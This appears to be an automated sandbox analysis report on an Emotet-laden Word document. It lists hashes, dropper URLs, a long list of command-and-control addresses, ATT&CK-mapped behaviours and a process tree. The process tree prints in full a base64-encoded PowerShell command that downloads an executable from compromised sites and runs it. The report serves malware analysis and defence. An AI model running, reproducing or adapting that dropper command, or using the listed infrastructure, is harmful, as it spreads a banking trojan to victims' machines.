emotet | ca36f67d1763a14e68d59e6cf4faa675de5b3deed0843d4f1d64b0d3f1d69052

General

Target
BAL_PO_07272020EX.doc
Size 171KB
Sample200727-v53mdwjdb6
SHA256 ca36f67d1763a14e68d59e6cf4faa675de5b3deed0843d4f1d64b0d3f1d69052
MD5 d5467399dbc0d6ee0ca38619d2974350
SHA1 89f46dd5deb807492df15733e0e42bd6d349dc88
SHA512 d492da07abc0d02b2b8754a7b47751655e2bc4e5c74a7c8fe71c96cf0fc6cb40e93834e4805bbade188eedb08b9e2b43ea23fa4a21e1bb765bec1a23f08e50e4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://ballooneo.com/wp-admin/qm_rmxcz_ts/
exe.dropper
https://www.bendys.com.au/cgi-bin/5_i_7qoao/
exe.dropper
http://biomayest.com/xhtmlcss/2ano_2h_7szpl0id5j/
exe.dropper
https://www.shablingo.com/cspr/lx_48pa6_cwi/
exe.dropper
http://ximboo.com/test/oi_lv_48/

Extracted

Family

emotet

C2

71.208.216.10:80
212.51.142.238:8080
5.39.91.110:7080
109.74.5.95:8080
121.124.124.40:7080
139.130.242.43:80
162.241.92.219:8080
93.156.165.186:80
203.153.216.189:7080
169.239.182.217:8080
78.189.165.52:8080
37.187.72.193:8080
110.145.77.103:80
190.144.18.198:80
209.182.216.177:443
74.208.45.104:8080
209.141.54.221:8080
190.160.53.126:80
87.106.139.101:8080
176.111.60.55:8080
162.154.38.103:80
70.167.215.250:8080
95.179.229.244:8080
153.126.210.205:7080
91.231.166.124:8080
79.98.24.39:8080
173.91.22.41:80
210.165.156.91:80
91.205.215.66:443
108.48.41.69:80
189.212.199.126:443
61.19.246.238:443
168.235.67.138:7080
104.131.44.150:8080
24.1.189.87:8080
109.117.53.230:443
104.236.246.93:8080
79.7.158.208:80
91.211.88.52:7080
222.214.218.37:4143
180.92.239.110:8080
81.2.235.111:8080
41.60.200.34:80
200.41.121.90:80
75.139.38.211:80
157.245.99.39:8080
137.59.187.107:8080
185.94.252.104:443
108.26.231.214:80
5.196.74.210:8080
104.131.11.150:443
103.86.49.11:8080
95.9.185.228:443
37.139.21.175:8080
62.138.26.28:8080
87.106.136.232:8080
200.55.243.138:8080
95.213.236.64:8080
78.24.219.147:8080
139.59.60.244:8080
46.105.131.87:80
50.116.86.205:8080
113.160.130.116:8443
31.31.77.83:443
190.55.181.54:443
116.203.32.252:8080
93.51.50.171:8080
94.49.254.194:80
62.75.141.82:80
201.173.217.124:443
186.208.123.210:443
46.105.131.79:8080
124.45.106.173:443

rsa_pubkey.plain

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\CameraCaptureUI\irclass.exe	268.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
3836	268.exe
3836	268.exe
4036	irclass.exe
4036	irclass.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3864	powersheLL.exe
3864	powersheLL.exe
3864	powersheLL.exe
4036	irclass.exe
4036	irclass.exe
4036	irclass.exe
4036	irclass.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	3864	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3836	268.exe
4036	irclass.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3836-8-0x0000000000670000-0x000000000067C000-memory.dmp	emotet
behavioral2/memory/4036-11-0x00000000006E0000-0x00000000006EC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3864	1052	powersheLL.exe	66

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3836 wrote to memory of 4036	3836	268.exe	78
PID 3836 wrote to memory of 4036	3836	268.exe	78
PID 3836 wrote to memory of 4036	3836	268.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_PO_07272020EX.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABzAHUAYQBzAGQAbwB1AGMAPQAnAHAAYQBvAHIAcAB1AHUAYgB4AGkAZQBxAHUAagBvAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAUgBJAFQAWQBgAHAAcgBPAGAAVABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAeQBhAGkAZgBkAHUAdQBkACAAPQAgACcAMgA2ADgAJwA7ACQAZwBhAGUAdABoAG4AZQBpAHMAbABpAG0AdgBhAGUAcAA9ACcAdAB1AHEAdQBmAGEAdQB0AGgAZQBvAGgAagB1AHoAJwA7ACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeQBhAGkAZgBkAHUAdQBkACsAJwAuAGUAeABlACcAOwAkAHYAbwB1AGMAaABzAG8AbwBmAG4AZQBhAHIAPQAnAHgAdQB1AHkAeABvAGkAdgB5AGkAYQB5AGMAaQB0AGgAJwA7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAVAAuAHcARQBiAGMAbABJAGUATgBUADsAJAB5AGEAZQBnAGMAZQBvAHMAYwBoAG8AdQBjAGgAZgBpAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBiAGEAbABsAG8AbwBuAGUAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBtAF8AcgBtAHgAYwB6AF8AdABzAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAGUAbgBkAHkAcwAuAGMAbwBtAC4AYQB1AC8AYwBnAGkALQBiAGkAbgAvADUAXwBpAF8ANwBxAG8AYQBvAC8AKgBoAHQAdABwADoALwAvAGIAaQBvAG0AYQB5AGUAcwB0AC4AYwBvAG0ALwB4AGgAdABtAGwAYwBzAHMALwAyAGEAbgBvAF8AMgBoAF8ANwBzAHoAcABsADAAaQBkADUAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBoAGEAYgBsAGkAbgBnAG8ALgBjAG8AbQAvAGMAcwBwAHIALwBsAHgAXwA0ADgAcABhADYAXwBjAHcAaQAvACoAaAB0AHQAcAA6AC8ALwB4AGkAbQBiAG8AbwAuAGMAbwBtAC8AdABlAHMAdAAvAG8AaQBfAGwAdgBfADQAOAAvACcALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbgBvAG8AZABtAGEAZQBiAHIAZQBvAGYAPQAnAHYAZQB1AGcAbgBlAG8AbQB2AGkAZQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0AIABpAG4AIAAkAHkAYQBlAGcAYwBlAG8AcwBjAGgAbwB1AGMAaABmAGkAZQBrACkAewB0AHIAeQB7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAC4AIgBkAE8AdwBOAEwAYABvAEEAYABEAGYAYABJAGwAZQAiACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0ALAAgACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAApADsAJABtAGkAegBzAGUAegB3AHUAegA9ACcAdwB1AHkAeABvAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQAuACIAbABgAEUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMQA1ADEAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAAZQBgAEEAVABFACIAKAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQA7ACQAdAB1AHUAYwB0AGEAcwA9ACcAcwB1AHUAcABzAGkAYQBkACcAOwBiAHIAZQBhAGsAOwAkAG0AaQBhAHgAZwBlAHYAbQBvAGkAagBoAG8AYQB2AD0AJwBuAGEAZQBnAGIAaQBsAHgAbwBlAHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBpAGEAawB4AGEAZQBzAD0AJwBtAHUAYQBxAHUAaABlAHkAawB1AGEAYwBsAGkAZQBtACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Users\Admin\268.exe
C:\Users\Admin\268.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\SysWOW64\CameraCaptureUI\irclass.exe
  "C:\Windows\SysWOW64\CameraCaptureUI\irclass.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:4036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/496-2-0x0000020DA5337000-0x0000020DA5348000-memory.dmp

Download

memory/3836-8-0x0000000000670000-0x000000000067C000-memory.dmp

Download

memory/4036-11-0x00000000006E0000-0x00000000006EC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads